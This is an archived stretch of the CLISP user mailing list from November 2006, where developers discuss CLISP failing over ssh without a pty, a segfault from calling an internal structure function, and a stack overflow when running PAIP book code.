Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Message-Id: <20061107202141.407CA12AD84@thalassa.informatimago.com> Date: Tue, 7 Nov 2006 21:21:41 +0100 (CET) X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00, UPPERCASE_25_50 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] clisp thru ssh X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 07 Nov 2006 20:21:55 -0000 When clisp is invoked thru bare ssh, it fails. We need to use the -t option to ssh to force pseudo-tty allocation for clisp. I see no good reason why clisp couldn't detect that it isn't connected to a pty and avoid to use an unapplyable API, after all, it does it right with files and pipes: # (not localhost) $ ssh janus-1 clisp --version stty: standard input: Invalid argument GNU CLISP 2.39 (2006-07-16) (built 3365477833) (memory 3365480464) Software: GNU C 3.3 20030226 (prerelease) (SuSE Linux)=20 gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type= -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -= falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a lib= avcall.a libcallback.a -lreadline -lncurses -ldl -lsigsegv -L/usr/X11R6= /lib SAFETY=3D0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS S= PVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.2 libreadline 4.3 Features:=20 (READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMO= N-LISP LISP=3DCL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BAS= E-CHAR=3DCHARACTER PC386 UNIX) C Modules: (clisp i18n syscalls regexp readline) Installation directory: /usr/local/languages/clisp-2.39-pjb1-regexp/lib/c= lisp/ User language: ENGLISH Machine: I686 (I686) janus-1.janus.afaa.asso.fr [195.114.85.145] [1]>=20 *** - UNIX error 14 (EFAULT): Bad address (ext:quit) [pjb@thalassa httpd]$ ssh -t janus-1 clisp --version GNU CLISP 2.30 (released 2002-09-15) (built on bragg.suse.de [127.0.0.2]) Features:=20 (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=3DCL INTERPRETER SOCKE= TS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=3DCHARACT= ER SYSCALLS PC386 UNIX) Connection to janus-1 closed. [pjb@thalassa httpd]$ ls -l | clisp --version 2> /tmp/errs | cat GNU CLISP 2.39 (2006-07-16) (built 3364813332) (memory 3364813914) Software: GNU C 3.3 20030226 (prerelease) (SuSE Linux)=20 gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type= -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -= falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a lib= avcall.a libcallback.a -lreadline -lncurses -ldl -lsigsegv -L/usr/X11R6= /lib SAFETY=3D0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS S= PVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.4 libreadline 4.3 Features:=20 (READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMO= N-LISP LISP=3DCL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN F= FI GETTEXT UNICODE BASE-CHAR=3DCHARACTER PC386 UNIX) C Modules: (clisp i18n syscalls regexp readline) Installation directory: /usr/local/languages/clisp-2.39-pjb1-regexp/lib/c= lisp/ User language: ENGLISH Machine: I686 (I686) thalassa.informatimago.com [62.93.174.79] --=20 __Pascal Bourguignon__ http://www.informatimago.com/ "Do not adjust your mind, there is a fault in reality" -- on a wall many years ago in Oxford. From sds@gnu.org Tue Nov 07 12:44:12 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GhXno-0000IU-56 for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 12:44:12 -0800 Received: from www.janestcapital.com ([66.155.124.107] helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GhXnm-0004kV-NI for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 12:44:12 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A00F269200BC; Tue, 07 Nov 2006 15:43:59 -0500 Message-ID: <4550F00E.5070302@gnu.org> Date: Tue, 07 Nov 2006 15:43:58 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: pjb@informatimago.com, clisp-list@lists.sourceforge.net References: <20061107202141.407CA12AD84@thalassa.informatimago.com> In-Reply-To: <20061107202141.407CA12AD84@thalassa.informatimago.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] clisp thru ssh X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 07 Nov 2006 20:44:12 -0000 Pascal Bourguignon wrote: > When clisp is invoked thru bare ssh, it fails. We need to use the -t > option to ssh to force pseudo-tty allocation for clisp. I see no good > reason why clisp couldn't detect that it isn't connected to a pty and > avoid to use an unapplyable API, after all, it does it right with > files and pipes: yeah, this sucks. I have no time for this right now, so please file a bug report on SF and hope for the best. of course, http://www.cygwin.com/acronyms/#PTC thanks. Sam. From pjb@informatimago.com Tue Nov 07 16:32:01 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GhbMG-0002Wp-RY for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 16:32:00 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GhbME-0004Vo-M2 for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 16:32:00 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 0B6FA585E7; Wed, 8 Nov 2006 01:31:49 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id E84B9585E6; Wed, 8 Nov 2006 01:31:45 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id CFDFC12AD84; Wed, 8 Nov 2006 01:31:45 +0100 (CET) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Message-Id: <20061108003145.CFDFC12AD84@thalassa.informatimago.com> Date: Wed, 8 Nov 2006 01:31:45 +0100 (CET) X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] An internal function segfaults. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 08 Nov 2006 00:32:01 -0000 Two little unimportant problems: - it would be nice if the banner included the version (so I wouldn't have to do anything to mention the version in bug reports ;-)) - system::%make-structure given a non-type segfaults.=20 It would be nice if it raised a condition (or just returned nil) instea= d. [pjb@thalassa pjb]$ clisp -ansi -norc i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2006 [1]> (system::%make-structure 'foo 1) *** - handle_fault error2 ! address =3D 0x60032 not in [0x20252004,0x203b= 3ac4) ! SIGSEGV cannot be cured. Fault address =3D 0x60032. Permanently allocated: 91520 bytes. Currently in use: 1929040 bytes. Free space: 506240 bytes. Segmentation fault [pjb@thalassa pjb]$=20 Shall I add a bugreport entry in sf.net? --=20 __Pascal Bourguignon__ http://www.informatimago.com/ "Logiciels libres : nourris au code source sans farine animale." From dan.stanger@ieee.org Tue Nov 07 17:04:43 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ghbrv-0005Op-Ae for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 17:04:43 -0800 Received: from vms044pub.verizon.net ([206.46.252.44]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ghbrr-00052z-CT for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 17:04:42 -0800 Received: from [192.168.2.168] ([68.160.179.202]) by vms044.mailsrvcs.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTPA id <0J8E006JO0BBGY29@vms044.mailsrvcs.net> for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 19:04:24 -0600 (CST) Date: Tue, 07 Nov 2006 20:03:35 -0500 From: Dan Stanger In-reply-to: <4550956D.6080104@gnu.org> To: clisp-list@lists.sourceforge.net Message-id: <45512CE7.5010106@ieee.org> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii; format=flowed Content-transfer-encoding: 7bit X-Accept-Language: en-us, en References: <4548B85D.6050101@x-ray.at> <4548C3C1.7050507@gnu.org> <454FDF6F.1040506@ieee.org> <4550956D.6080104@gnu.org> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.13) Gecko/20060414 X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.1 SUBJ_HAS_UNIQ_ID Subject contains a unique ID Subject: Re: [clisp-list] Problem with code from Paradigms of AI Programming (PAIP) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: dan.stanger@ieee.org List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 08 Nov 2006 01:04:43 -0000 Hi Sam, Is there a section of the clisp web site dedicated to issues running code from books? If not, I could write a page for it. BTW, I am scheduled to take the programming test at ITA next friday, and interview the week after that. Regards, Dan Sam Steingold wrote: > Dan Stanger wrote: > >> Hello All, >> I have a problem with the following lines, which occurs in the >> make-queue code in section 10.5: >> [1]> (setf q (cons nil nil)) >> (NIL) >> [2]> (setf (car q) q) >> >> *** - Lisp stack overflow. RESET >> [3]> >> Is this a (possibly known) bug in clisp? > > > http://clisp.cons.org/impnotes/faq.html#faq-stack > > > From sds@gnu.org Tue Nov 07 17:45:20 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GhcVE-0000Va-Bd for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 17:45:20 -0800 Received: from mta3.srv.hcvlny.cv.net ([167.206.4.198]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GhcVA-0004PP-SW for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 17:45:20 -0800 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta3.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J8E00FSS2796H01@mta3.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 20:45:10 -0500 (EST) Received: by loiso.podval.org (Postfix, from userid 500) id CC5D121DEA0; Tue, 07 Nov 2006 20:45:09 -0500 (EST) Date: Tue, 07 Nov 2006 20:45:09 -0500 From: Sam Steingold In-reply-to: <45512CE7.5010106@ieee.org> To: clisp-list@lists.sourceforge.net, dan.stanger@ieee.org Mail-followup-to: clisp-list@lists.sourceforge.net, dan.stanger@ieee.org Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <4548B85D.6050101@x-ray.at> <4548C3C1.7050507@gnu.org> <454FDF6F.1040506@ieee.org> <4550956D.6080104@gnu.org> <45512CE7.5010106@ieee.org> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.90 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] Problem with code from Paradigms of AI Programming (PAIP) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 08 Nov 2006 01:45:20 -0000 > * Dan Stanger [2006-11-07 20:03:35 -0500]: > > Is there a section of the clisp web site dedicated to issues running > code from books? No. > If not, I could write a page for it. I think it would be more useful to add a section on that to the FAQ. It will make it easier to refer from it to the impnotes. > BTW, I am scheduled to take the programming test at ITA next friday, > and interview the week after that. Good luck! (are you sure you wanted to tell that to the whole list? :-) -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 5 (Bordeaux) http://mideasttruth.com http://thereligionofpeace.com http://palestinefacts.org http://honestreporting.com http://openvotingconsortium.org http://memri.org Just because you're paranoid doesn't mean they AREN'T after you. From sds@gnu.org Tue Nov 07 18:00:24 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ghcjo-0001sv-4E for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 18:00:24 -0800 Received: from mta5.srv.hcvlny.cv.net ([167.206.4.200]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ghcjk-00006z-LW for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 18:00:24 -0800 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta5.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J8E00KCI2W0VE51@mta5.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 21:00:00 -0500 (EST) Received: by loiso.podval.org (Postfix, from userid 500) id 0D88921DEA0; Tue, 07 Nov 2006 20:59:00 -0500 (EST) Date: Tue, 07 Nov 2006 20:58:59 -0500 From: Sam Steingold In-reply-to: <20061108003145.CFDFC12AD84@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net, pjb@informatimago.com Mail-followup-to: clisp-list@lists.sourceforge.net, pjb@informatimago.com Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <20061108003145.CFDFC12AD84@thalassa.informatimago.com> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.90 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] An internal function segfaults. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 08 Nov 2006 02:00:27 -0000 > * Pascal Bourguignon [2006-11-08 01:31:45 +0100]: > > Two little unimportant problems: > > - it would be nice if the banner included the version (so I wouldn't > have to do anything to mention the version in bug reports ;-)) how about it also checking if a new version is available and nagging you to upgrade? > - system::%make-structure given a non-type segfaults. > It would be nice if it raised a condition (or just returned nil) instead. you are not supposed to call this function yourself. not only it is an internal (!) symbol in the SYSTEM (!) package, its name also starts with %. there are many ways to crash CLISP if you permit calling SYS::%... with arbitrary arguments. e.g., you can modify the internals of various objects, writing numbers in slots where CLISP expects lists &c. CLISP checks the arguments it passes to SYSTEM::%MAKE-STRUCTURE, and users are not supposed to call it, so checking the arguments is not necessary. -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 5 (Bordeaux) http://memri.org http://israelunderattack.slide.com http://palestinefacts.org http://pmw.org.il http://jihadwatch.org http://thereligionofpeace.com I don't have an attitude problem. You have a perception problem. From dgou@mac.com Tue Nov 07 18:04:48 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ghco4-0002Ex-T0 for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 18:04:48 -0800 Received: from smtpout.mac.com ([17.250.248.181]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ghco3-0004Bv-DZ for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 18:04:48 -0800 Received: from mac.com (smtpin01-en2 [10.13.10.146]) by smtpout.mac.com (Xserve/8.12.11/smtpout11/MantshX 4.0) with ESMTP id kA824eWt010523 for ; Tue, 7 Nov 2006 18:04:40 -0800 (PST) Received: from [192.168.1.102] (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/smtpin01/MantshX 4.0) with ESMTP id kA824Xaf020669 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO) for ; Tue, 7 Nov 2006 18:04:39 -0800 (PST) Mime-Version: 1.0 (Apple Message framework v752.2) In-Reply-To: References: <20061108003145.CFDFC12AD84@thalassa.informatimago.com> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Douglas Philips Date: Tue, 7 Nov 2006 21:04:23 -0500 To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.752.2) X-Brightmail-Tracker: AAAAAA== X-Brightmail-scanned: yes X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] An internal function segfaults. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 08 Nov 2006 02:04:49 -0000 On 2006 Nov 7, at 8:58 PM, Sam Steingold wrote: >> * Pascal Bourguignon [2006-11-08 01:31:45 >> +0100]: >> >> Two little unimportant problems: >> >> - it would be nice if the banner included the version (so I wouldn't >> have to do anything to mention the version in bug reports ;-)) > > how about it also checking if a new version is available and > nagging you > to upgrade? How about not. Just automatically printing the actual version is fine. Someone put salt in your tea today? > I don't have an attitude problem. You have a perception problem. Yeah, love those "random" sigs. :-) --D'gou P.S. Thanks again for everyone who make the 2.41 cygwin lisp work!! From jdunrue@gmail.com Tue Nov 07 18:12:03 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ghcv4-0002zM-Mw for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 18:12:02 -0800 Received: from nz-out-0102.google.com ([64.233.162.206]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ghcv3-00069H-2u for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 18:12:02 -0800 Received: by nz-out-0102.google.com with SMTP id 9so1806332nzo for ; Tue, 07 Nov 2006 18:12:00 -0800 (PST) Received: by 10.35.132.20 with SMTP id j20mr14304596pyn.1162951919971; Tue, 07 Nov 2006 18:11:59 -0800 (PST) Received: by 10.35.51.17 with HTTP; Tue, 7 Nov 2006 18:11:59 -0800 (PST) Message-ID: Date: Tue, 7 Nov 2006 19:11:59 -0700 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <20061108003145.CFDFC12AD84@thalassa.informatimago.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] An internal function segfaults. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 08 Nov 2006 02:12:03 -0000 On 11/7/06, Douglas Philips wrote: > On 2006 Nov 7, at 8:58 PM, Sam Steingold wrote: > >> * Pascal Bourguignon [2006-11-08 01:31:45 > >> +0100]: > >> > >> - it would be nice if the banner included the version (so I wouldn't > >> have to do anything to mention the version in bug reports ;-)) > > > > how about it also checking if a new version is available and > > nagging you to upgrade? > > How about not. Just automatically printing the actual version is fine. Alternatively, allow the availability check to be requested explicitly or allow it to be configured on or off. -- Jack Unrue From pjb@informatimago.com Tue Nov 07 21:44:15 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GhgEQ-0003t3-VE for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 21:44:15 -0800 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GhgEP-00021j-FV for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 21:44:14 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by externalmx-1.sourceforge.net with esmtp (Exim 4.41) id 1GhgEJ-0006h4-Mx for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 21:44:10 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id A4C38585E7; Wed, 8 Nov 2006 06:11:13 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 4AA32585E6; Wed, 8 Nov 2006 06:11:10 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 8E6CA12AD83; Wed, 8 Nov 2006 06:11:09 +0100 (CET) From: Pascal Bourguignon Message-ID: <17745.26349.547572.976393@thalassa.informatimago.com> Date: Wed, 8 Nov 2006 06:11:09 +0100 To: clisp-list@lists.sourceforge.net In-Reply-To: References: <20061108003145.CFDFC12AD84@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] An internal function segfaults. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 08 Nov 2006 05:44:15 -0000 Sam Steingold writes: > > - system::%make-structure given a non-type segfaults. > > It would be nice if it raised a condition (or just returned nil) in= stead. >=20 > you are not supposed to call this function yourself. > not only it is an internal (!) symbol in the SYSTEM (!) package, its > name also starts with %. > there are many ways to crash CLISP if you permit calling SYS::%... with > arbitrary arguments. > e.g., you can modify the internals of various objects, writing numbers > in slots where CLISP expects lists &c. > CLISP checks the arguments it passes to SYSTEM::%MAKE-STRUCTURE, and > users are not supposed to call it, so checking the arguments is not > necessary. This was reported to me via irc by somebody else. =20 I totally agree that calling anything from SYS, and the more so when the name not exported and is prefixed by %, one shouldn't be surprised to get any kind of misbehavior (including sigseg). Nonetheless, I'd consider it a factor of quality of the implementation, if no action whatsoever could ever "crash" it. --=20 __Pascal Bourguignon__ http://www.informatimago.com/ The mighty hunter Returns with gifts of plump birds, Your foot just squashed one. From Joerg-Cyril.Hoehle@t-systems.com Wed Nov 08 03:35:33 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GhliP-0000uS-BD for clisp-list@lists.sourceforge.net; Wed, 08 Nov 2006 03:35:33 -0800 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GhliL-0006gX-Ju for clisp-list@lists.sourceforge.net; Wed, 08 Nov 2006 03:35:33 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by externalmx-1.sourceforge.net with esmtp 